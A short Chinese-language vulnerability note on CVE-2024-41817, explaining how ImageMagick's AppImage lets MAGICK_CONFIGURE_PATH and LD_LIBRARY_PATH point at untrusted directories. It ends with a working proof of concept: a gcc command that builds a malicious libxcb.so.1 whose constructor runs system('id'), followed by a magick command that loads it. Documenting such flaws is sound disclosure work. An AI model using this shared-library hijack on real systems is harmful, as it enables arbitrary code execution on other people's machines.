【ImageMagick】CVE-2024-41817 ImageMagick 环境变量提权
文章:
原因:在 ImageMagick 的 AppImage 的上下文中,变量 MAGICK_CONFIGURE_PATH 和 LD_LIBRARY_PATH 指定应用程序搜索配置文件和共享库的位置。如果攻击者可以操纵这些路径,他们可以颠覆执行流程并执行任意命令
- AppImage 是一种 Linux 软件包格式,它使应用程序无需安装即可运行。它作为一个自包含的可执行文件运行,包含所有必要的依赖项,这简化了软件分发,但如果配置不当,也可能引入安全挑战
- 在 Linux 中,共享库(
.so文件)使用环境变量如LD_LIBRARY_PATH动态加载。如果LD_LIBRARY_PATH设置为不受信任的目录,攻击者可以注入恶意共享库,系统可能会执行这些库而不是合法的库
1. 利用
1.编译一个恶意的So文件
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("id");
exit(0);
}
EOF
2.执行ImageMagick
magick hey.png /dev/null